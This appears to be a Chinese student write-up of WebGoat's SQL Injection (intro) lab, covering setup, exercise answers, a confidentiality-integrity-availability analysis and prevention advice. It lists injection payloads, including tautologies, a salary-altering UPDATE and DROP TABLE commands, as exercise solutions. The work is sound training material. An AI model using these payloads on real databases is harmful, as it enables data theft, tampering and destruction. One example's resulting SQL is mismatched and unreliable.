扩展功能参考: https://blog.csdn.net/HZC0217/article/details/126790211
使用实例参考: https://www.cnblogs.com/hndreamer/p/16635984.html
目录
1、什么是 webgoat?
2、jar 下载
3、环境搭建
4、运行 webgoat
5、在浏览器中登录
6、SQL 注入实验,完成(A1)Injection 系列实验中的 SQL Injection (intro)部分
7、问题思考
1 、举例说明 SQL 注入攻击发生的原因
2、从信息的 CIA 三要素出发,举例说明 SQL 注入攻击造成的破坏
3、怎样预防和避免 SQL 注入攻击。
一个基于 java 常见漏洞的靶场,非常适合初学者学习。
下载地址:https://github.com/WebGoat/WebGoat/releases
这里当靶场用,选 webgoat-server-8.2.2.jar 就够了。webwolf 需要在
webgoat-server-8.2.2.jar 运行的情况下才能正常使用,可以模拟攻击者配合本地
主机对 webgoat 进行攻击。
我们需要先安装 java 环境,这里直接进入官网下载即可
https://www.oracle.com/java/technologies/downloads/#jdk18-windows
下载 java jdk 17以上的版本
WIN+R,打开cmd,输入java -version查看电脑中java的版本号
启 动 非 常 简 单 , 只 需 要 通 过 命 令 行 界 面 ( Dos 界 面 ) 在 保 存有 “webgoat-server-8.2.2.jar”文件的所在目录
输入java -jar webgoat-server-8.2.2.jar 即可
java -jar webgoat-server-8.2.2.jar
默认的登录地址是 http://127.0.0.1:8080/WebGoat,我们可以在命令提示符窗口看到
浏览器输入:http://127.0.0.1:8080/WebGoat
http://127.0.0.1:8080/WebGoat
这里需要用户名和密码,我们直接点击 Register new user 注册一个新用户
注册完毕后登录
步骤 9 之前用到的 SQL 命令参考如下:
SELECT department FROM employees WHERE first_name='Bob' AND last_name='Franco'
UPDATE employees SET department='Sales' WHERE first_name='Tobi' AND last_name='Barnett'
ALTER TABLE employees ADD phone varchar(20)
尝试将表 grant_rights 的权限授予用户 unauthorized_user:
GRANT ALL PRIVILEGES ON grant_rights TO unauthorized_user
第九题:
Smith' or '1'='1
第十题:
1 1 or 1=1
第十一题:
name' or '1'='1
第十二题:
再根据题目需要注入sql:
name' or '1'='1'
1';UPDATE employees SET salary =9999999 WHERE first_name='John' AND last_name='Smith'--+
第十三题:
1';DROP TABLE access_log;--+
当来自客户机的未过滤数据(例如来自搜索字段的输入)进入应用程序本身的SQL解释器时,可能会发生SQL注入。如果应用程序不能正确地消毒用户输入(使用准备好的语句或类似的方法)或针对特殊字符对输入进行过滤,黑客就可以操纵底层SQL语句以达到他们的目的。
例如:
从数据库中检索用户信息的SQL查询如下:
"SELECT * FROM users WHERE name = ' " + userName + " ' ";
(1)输入:
Smith' OR '1' = '1
Sql语句此时为:SELECT * FROM users WHERE name = 'Smith' OR TRUE;
结果将返回users表中的所有条目
(2)输入:
Smith' OR 1 = 1; --
Sql语句此时为:SELECT * FROM users WHERE name = 'Smith' OR TRUE;
结果与第一个示例一样,它也将返回users表中的所有条目
(3)输入:
Smith'; DROP TABLE users; TRUNCATE audit_log; --
Sql语句此时为:SELECT * FROM users WHERE name = 'Smith' OR TRUE;
结果将链接多个sql命令,以便同时DROP users表和从audit_log表中删除所有条目
(1)CIA三要素的第一项原则是保密性(Confidentiality)保密性是通过什么样的手段可以保护数据、对象、资源机密性的概念,保密性的目的是限制组织未授权用户访问数据。
例如:使用字符串SQL注入损害机密性。
已知这个系统执行请求的查询语句是这样的:
"SELECT * FROM employees WHERE last_name = ' " + name + " ' AND auth_tan = ' " + auth_tan + " ' ";
利用这个系统,破坏保密性查看到所有人的数据信息,可以这样设置sql注入:
(2)CIA三要素的第二项原则是完整性(Integrity)完整性用来描述保护数据的可靠性和正确性。完整性保证没有未授权的用户修改数据。
例如:用查询链接破坏完整性。
首先获取表内信息
再根据需要,使用查询链接破坏完整性,注入sql,将薪资改为9999999
name' or '1'='1' 1';UPDATE employees SET salary =9999999 WHERE first_name='John' AND last_name='Smith'--+
(3)CIA三要素的第三项原则是可用性(Availablity)可用性表示可以及时给用户授权,资源的访问不间断。
违反可用性有许多不同的方法。删除帐户或修改密码后,该帐户的实际所有者将无法再访问该帐户。攻击者还可以尝试删除数据库的部分内容,甚至删除整个数据库,以使数据无法访问。撤销管理员或其他用户的访问权限是降低可用性的另一种方式;这将阻止这些用户访问数据库的特定部分甚至整个数据库。
例如:违反可用性删除日志。
1';DROP TABLE access_log;--+
SQL注入攻击可以通过数据库安全防护技术实现有效防护,数据库安全防护技术包括:数据库漏扫、数据库加密、数据库防火墙、数据脱敏、数据库安全审计系统。
1、不要使用动态SQL
避免将用户提供的输入直接放入SQL语句中;最好使用准备好的语句和参数化查询,这样更安全。
2、不要将敏感数据保留在纯文本中
加密存储在数据库中的私有/机密数据;这样可以提供了另一级保护,以防攻击者成功地排出敏感数据。
3、限制数据库权限和特权
将数据库用户的功能设置为最低要求;这将限制攻击者在设法获取访问权限时可以执行的操作。
4、避免直接向用户显示数据库错误
攻击者可以使用这些错误消息来获取有关数据库的信息。
5、使用Web应用程序防火墙(WAF)
这为面向Web的应用程序提供了保护,它可以帮助识别SQL注入尝试;根据设置,它还可以帮助防止SQL注入尝试到达应用程序(以及数据库)。
6、定期测试与数据库交互的Web应用程序
这样做可以帮助捕获可能允许SQL注入的新错误或回归。
7、将数据库更新为最新的可用修补程序
这可以防止攻击者利用旧版本中存在的已知弱点/错误。